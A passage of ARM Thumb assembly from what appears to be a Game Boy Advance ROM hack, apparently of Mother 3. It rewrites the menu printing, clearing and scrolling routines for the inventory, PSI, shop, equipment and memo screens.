dw $41EC; dw $41EC; dw $41EC; dw $41FC; dw $41EC; dw $41FC; dw $41EC; dw $41EC; dw $4204; dw $4204; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; .new_print_menu_up_down: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_up_down + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu //New code!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_up_down ldrh r1,[r1,#0] lsl r1,r1,#2 ldr r0,=#.new_print_menu_offset_table_special add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 orr r1,r0 ldr r4,=#0x3060 add r0,r3,r4 bl $8091938 b .end_new_print_menu_up_down + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_up_down lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 ldr r2,=#.new_print_menu_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_up_down: pop {r4,pc} //============================================================================================= // This hack changes how a removal in menus works - Based off of 0x8046D90, which is basic menu printing // Same code as above except for the points in which it's present the comment DIFFERENT!!! //============================================================================================= .new_print_menu_a_offset_table: dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_a_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_a: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_a + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu_a //DIFFERENT!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_a ldr r0,=#0x9B8FD74 ldrh r1,[r1,#0] lsl r1,r1,#2 add r1,r1,r0 ldr r4,=#0x3060 add r0,r3,r4 ldr r1,[r1,#0] bl $8091938 b .end_new_print_menu_a + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_a lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 //DIFFERENT!!! ldr r2,=#.new_print_menu_a_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_a: pop {r4,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC //============================================================================================= .new_swap_arrangement_routine_table: dd .new_clear_inventory+1; dd .new_clear_equipment+1; dd .new_clear_inventory+1; dd .new_clear_status+1 dd .new_clear_inventory+1; dd .new_clear_memoes+1; dd .new_clear_inventory+1; dd .new_clear_battle_memo+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_shop+1; dd .new_clear_shop+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 .new_swap_arrangement_routine_special_table: dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1 .new_clear_menu: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 beq .new_clear_menu_next_spot mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 mov r5,r0 mov r6,#0 ldrh r0,[r4,#6] cmp r6,r0 bcs + //New code! ldr r0,=#0x201A1EE //If this is an equip submenu, load the special table ldrb r0,[r0,#0] mov r1,#1 and r0,r1 cmp r0,#0 beq .new_clear_menu_normal_menu ldr r0,=#0x201A1E4 ldrb r0,[r0,#0] cmp r0,#3 bhi + lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_special_table b .new_clear_menu_load_address .new_clear_menu_normal_menu: ldr r0,=#0x201A288 //This is a normal menu ldrb r0,[r0,#0] lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_table .new_clear_menu_load_address: add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 add r1,r1,r0 bl $8091938 b + .new_clear_menu_next_spot: //Back to base code mov r0,r8 mov r1,r7 mov r2,#0 mov r3,#0 bl $8001378 mov r5,r0 mov r1,#0x80 lsl r1,r1,#4 bl $80019DC + .new_clear_menu_general: mov r0,sp ldrh r0,[r0,#0] cmp r0,#0 beq + lsl r1,r7,#1 mov r0,#0xB1 lsl r0,r0,#6 add r0,r8 add r0,r0,r1 ldrh r1,[r0,#0] mov r1,#1 strh r1,[r0,#0] + add sp,#0xC pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC // Same as above, except it cuts a part //============================================================================================= .new_clear_menu_a: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 bne + b .new_clear_menu_next_spot + mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 b .new_clear_menu_general //============================================================================================= // Swaps the arrangements' place for the inventory //============================================================================================= .new_clear_inventory: push {lr} bl .get_direction cmp r0,#0 bne .new_clear_inventory_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_inventory_end //Swap arrangements' place - if we're descending .new_clear_inventory_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_inventory_end: pop {pc} //============================================================================================= // Clears the arrangements for the Status menu //============================================================================================= .new_clear_status: push {lr} mov r1,r5 mov r0,#0x69 lsl r0,r0,#2 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#8 lsl r0,r0,#4 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#5 bne - pop {pc} //============================================================================================= // Clears the arrangements for the Equipment menu //============================================================================================= .new_clear_equipment: push {lr} mov r1,r5 mov r0,#0x84 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#1 lsl r0,r0,#8 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#4 bne - pop {pc} //============================================================================================= // Swaps the arrangements' place for the equipment submenu //============================================================================================= .new_clear_equip_submenu: push {lr} bl .get_direction_submenu cmp r0,#0 bne .new_clear_equip_submenu_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r0,r4,r0 mov r2,#0x8 // Put the arrangements one below swi #0xC mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 add r0,#0x40 add r1,#0x40 mov r2,#0x8 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_equip_submenu_end //Swap arrangements' place - if we're descending .new_clear_equip_submenu_descending: mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC mov r1,r5 add r1,#0x40 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC add r5,#0x80 cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_equip_submenu_end: pop {pc} //============================================================================================= // Swaps the arrangements' place for the battle memories //============================================================================================= .new_clear_battle_memo: push {lr} add r5,#0x40 bl .get_direction cmp r0,#0 bne .new_clear_battle_memo_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_battle_memo_end //Swap arrangements' place - if we're descending .new_clear_battle_memo_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_battle_memo_end: sub r5,#0x40 pop {pc} //============================================================================================= // Swaps the arrangements' place for the memoes //============================================================================================= .new_clear_memoes: push {lr} add r5,#0xBE bl .get_direction cmp r0,#0 bne .new_clear_memoes_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x30 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_memoes_end //Swap arrangements' place - if we're descending .new_clear_memoes_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x30 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_memoes_end: sub r5,#0xBE pop {pc} //============================================================================================= // Swaps the arrangements' place for the shop //============================================================================================= .new_clear_shop: push {lr} add r5,#0x2A bl .get_direction cmp r0,#0 bne .new_clear_shop_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x28 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_shop_end //Swap arrangements' place - if we're descending .new_clear_shop_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x28 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_shop_end: sub r5,#0x2A pop {pc} //============================================================================================= // This hack gives a default print scroller //============================================================================================= .new_default_scroll_print: bx lr //============================================================================================= // This hack changes what the battle memo scrolling will print, based off of 0x80476C0 //============================================================================================= .new_battle_memo_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction cmp r0,#0 bne .new_battle_memo_scroll_print_descending ldrh r0,[r2,#8] b + .new_battle_memo_scroll_print_descending: ldrh r0,[r2,#8] mov r2,#8 sub r2,r2,r6 add r0,r0,r2 + .new_battle_memo_scroll_print_general: lsl r0,r0,#2 //base code mov r2,#0xE0 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_battle_memo_scroll_print_end mov r7,#0xF - ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge + ldrb r1,[r4,#0] //Change a bit how this works in order to save space mov r0,#7 bl $8001C5C .new_battle_memo_scroll_print_after_function: b .new_battle_memo_scroll_print_single_continue + mov r0,#1 bl $80486A0 .new_battle_memo_scroll_print_single_continue: add r2,r5,#2 bl .get_battle_memoes_height //New code lsl r2,r2,#0x10 //base code lsr r2,r2,#0x10 str r7,[sp,#0] mov r1,#1 mov r3,#1 neg r3,r3 bl $8047B9C add r0,r5,#1 lsl r0,r0,#0x10 lsr r5,r0,#0x10 add r4,#4 cmp r5,r6 bcc - .new_battle_memo_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the skill scrolling will print, based off of 0x80473EC //============================================================================================= .new_skills_scroll_print: push {r4-r7,lr} mov r7,r9 //base code mov r6,r8 push {r6,r7} add sp,#-8 mov r4,r0 ldrh r0,[r4,#0xA] bl $8054FE0 add r3,sp,#4 mov r2,sp add r2,#6 mov r1,#0 strh r1,[r2,#0] ldrh r1,[r2,#0] strh r1,[r3,#0] ldrb r0,[r0,#0] mov r9,r2 cmp r0,#3 beq .duster_skills_scroll_print cmp r0,#3 bgt + cmp r0,#2 beq .psi_skills_scroll_print b .generic_skills_scroll_print + cmp r0,#4 bne .generic_skills_scroll_print .psi_skills_scroll_print: add r1,sp,#4 mov r0,#1 b + .duster_skills_scroll_print: mov r0,#1 mov r1,r9 + strh r0,[r1,#0] .generic_skills_scroll_print: ldr r1,=#0x2016028 ldr r2,=#0x427A bl .get_direction //New code! cmp r0,#0 bne .new_skills_scroll_print_descending mov r0,#2 ldrh r2,[r4,#8] b + .new_skills_scroll_print_descending: add r0,r1,r2 ldrh r0,[r0,#0] ldrh r2,[r4,#8] add r2,#0xE sub r0,r0,r2 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r3,r0,#0x10 mov r8,r3 lsl r2,r2,#2 mov r3,#0xDE lsl r3,r3,#6 add r1,r1,r3 add r5,r2,r1 mov r6,#0 lsr r0,r0,#0x11 cmp r6,r0 bcs .end_double_skills_print mov r7,#0xF //Set the thing to print the bottom two skills at the right position add r0,sp,#4 //But we optimize the code size ldrh r0,[r0,#0] cmp r0,#0 beq + mov r6,#8 mov r4,#0xA b .double_skills_print + mov r1,r9 ldrh r0,[r1,#0] mov r4,#0xB cmp r0,#0 beq + mov r6,#2 b .double_skills_print + mov r6,#0xD .double_skills_print: //Actual double skills printing ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,r4 bl .get_inventory_height mov r3,#0x16 bl $8047B9C cmp r6,#0x8 bne + mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + .end_double_skills_print: mov r0,#1 mov r3,r8 and r0,r3 cmp r0,#0 beq .new_skills_scroll_print_end add r0,sp,#4 //Set the thing to print the bottom skill at the right position ldrh r0,[r0,#0] //But we optimize the code size cmp r0,#0 beq + mov r6,#8 b .single_skill_print + mov r1,r9 ldrh r0,[r1,#0] cmp r0,#0 beq + mov r6,#2 b .single_skill_print + mov r6,#0xD .single_skill_print: //Actual single skill printing mov r7,#0xF ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_skills_scroll_print_end: add sp,#8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment submenu scrolling will print, based off of 0x8047A78 //============================================================================================= .new_equip_submenu_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction_submenu cmp r0,#0 bne .new_equip_submenu_scroll_print_descending ldrh r0,[r2,#8] b + .new_equip_submenu_scroll_print_descending: ldrh r0,[r2,#8] add r0,#7 + lsl r0,r0,#2 //base code mov r2,#0xD3 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_equip_submenu_scroll_print_end mov r7,#0xF ldrb r0,[r4,#0] cmp r0,#0 bne .new_equip_submenu_scroll_print_item // This branch prints None at the bottom mov r0,#0x58 bl $80486A0 bl .get_equip_submenu_height //New code str r7,[sp,#0] //base code mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C b .new_equip_submenu_scroll_print_end .new_equip_submenu_scroll_print_item: ldrb r1,[r4,#0] mov r0,#2 bl $8001C5C mov r1,r0 bl .get_equip_submenu_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#9 cmp r0,#0 bge .new_equip_submenu_scroll_print_item_grey str r7,[sp,#0] b + .new_equip_submenu_scroll_print_item_grey: mov r0,#1 str r0,[sp,#0] + mov r0,r1 mov r1,#0xC mov r3,#0x16 bl $8047B9C .new_equip_submenu_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the selling menu scrolling will print, based off of 0x80477BC. // Also covers buying thanks to .get_x_shop, which is at 0x804774C //============================================================================================= .new_shop_scroll_print: push {r4-r6,lr} add sp,#-4 mov r2,r0 //base code ldr r1,=#0x2016028 bl .get_direction //New code cmp r0,#0 bne .new_shop_scroll_print_descending ldrh r0,[r2,#8] b + .new_shop_scroll_print_descending: ldrh r0,[r2,#8] add r0,#5 + bl .get_added_value_menu_valid //Code used in order to cover both buying and selling lsl r0,r0,#2 //base code add r1,r1,r2 add r4,r0,r1 ldrb r1,[r4,#0] //If we're scrolling, we have at least one item here mov r0,#2 bl $8001C5C mov r1,r0 bl .get_shop_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#0xA cmp r0,#0 bge + mov r0,#0xF b .new_shop_scroll_print_continue + mov r0,#1 .new_shop_scroll_print_continue: str r0,[sp,#0] mov r0,r1 bl .get_x_shop //Covers both buying and selling mov r3,#0x16 bl $8047B9C add sp,#4 pop {r4-r6,pc} //============================================================================================= // Returns as the X the menu identifier -1. This is an optimization due to where stuff is normally printed. // The two values are not actually related. They're 0xA for selling and 0x9 for buying //============================================================================================= .get_x_shop: ldr r1,=#0x201A288 ldrb r1,[r1,#0] sub r1,#1 bx lr //============================================================================================= // Returns the value that has to be added in order to go to the proper menu's inventory. // If it's for the PSI menu, it has the inventory's number in r0 //============================================================================================= .get_added_value_menu_valid: push {r1} ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#0xB beq .get_added_value_sell_valid cmp r2,#0xA beq .get_added_value_buy_valid cmp r2,#0x2 beq .get_added_value_psi_valid b + .get_added_value_psi_valid: mov r2,#0x35 lsl r2,r2,#8 lsl r1,r0,#7 add r2,r2,r1 b + .get_added_value_buy_valid: ldr r2,=#0x3D44 b + .get_added_value_sell_valid: mov r2,#0xD2 lsl r2,r2,#6 + pop {r1} bx lr //============================================================================================= // This hack changes what the psi scrolling will print, based off of 0x80471B4 // Base game bug: when you use a party wide PSI in this menu and end up with fewer PPs than // the PPs required to use a PSI, this isn't reflected in the PSI's colour. // Putting this here in order to fix it at a later date. //============================================================================================= .new_psi_scroll_print: push {r4-r7,lr} add sp,#-4 mov r2,r0 //base code ldr r4,=#0x2016028 ldrh r3,[r2,#0xA] lsl r0,r3,#1 ldr r5,=#0x4270 add r1,r4,r5 add r1,r0,r1 //If we're scrolling, the character has for sure > 0 PSI bl .get_direction //New code! cmp r0,#0 bne .new_psi_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_psi_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xE sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r7,r2,#0x10 lsl r3,r3,#7 lsl r0,r1,#2 mov r5,#0xD4 lsl r5,r5,#6 add r1,r4,r5 add r0,r0,r1 add r4,r3,r0 mov r6,#0 lsr r2,r2,#0x11 cmp r6,r2 bcs + ldrb r1,[r4,#0] //Set the thing to print the bottom two psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height mov r5,r2 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C add r4,#4 ldrb r1,[r4,#0] mov r0,#8 bl $8001C5C mov r3,r0 mov r2,r5 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#0xA mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r5,#1 mov r0,r7 and r0,r5 cmp r0,#0 beq + ldrb r1,[r4,#0] //Set the thing to print the bottom psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the memoes scrolling will print, based off of 0x80475A4 //============================================================================================= .new_memoes_scroll_print: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-4 ldr r3,=#0x2016028 ldr r2,=#0x427E add r1,r3,r2 mov r2,r0 bl .get_direction //New code! cmp r0,#0 bne .new_memoes_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_memoes_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xC sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r4,r0,#0x10 mov r8,r4 lsl r2,r1,#2 ldr r4,=#0x3BFC add r1,r3,r4 add r4,r2,r1 mov r7,#0 lsr r0,r0,#0x11 cmp r7,r0 bcs .new_memoes_scroll_print_end_of_double ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r3,r0 bl .get_memoes_height //New code mov r6,#1 neg r6,r6 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r3 //base code mov r1,#1 mov r3,r6 bl $8047B9C add r4,#4 ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New code mov r3,#1 neg r3,r3 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0xB bl $8047B9C add r4,#4 .new_memoes_scroll_print_end_of_double: ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end mov r5,#1 mov r0,r8 and r0,r5 cmp r0,#0 beq .new_memoes_scroll_print_end ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New Code ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0x1 neg r3,r1 bl $8047B9C .new_memoes_scroll_print_end: add sp,#4 pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack gets the colour that should be printed for the memo item //============================================================================================= .new_memoes_scroll_print_get_colour: cmp r0,#0 bge + mov r0,#0xF b .new_memoes_scroll_print_get_colour_end + mov r0,#1 .new_memoes_scroll_print_get_colour_end: bx lr //============================================================================================= // This hack changes what the withdrawing scrolling will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 bl .get_direction //New code! cmp r0,#0 bne .new_withdrawing_scroll_print_descending mov r0,#2 ldrh r1,[r1,#8] b + .new_withdrawing_scroll_print_descending: ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE 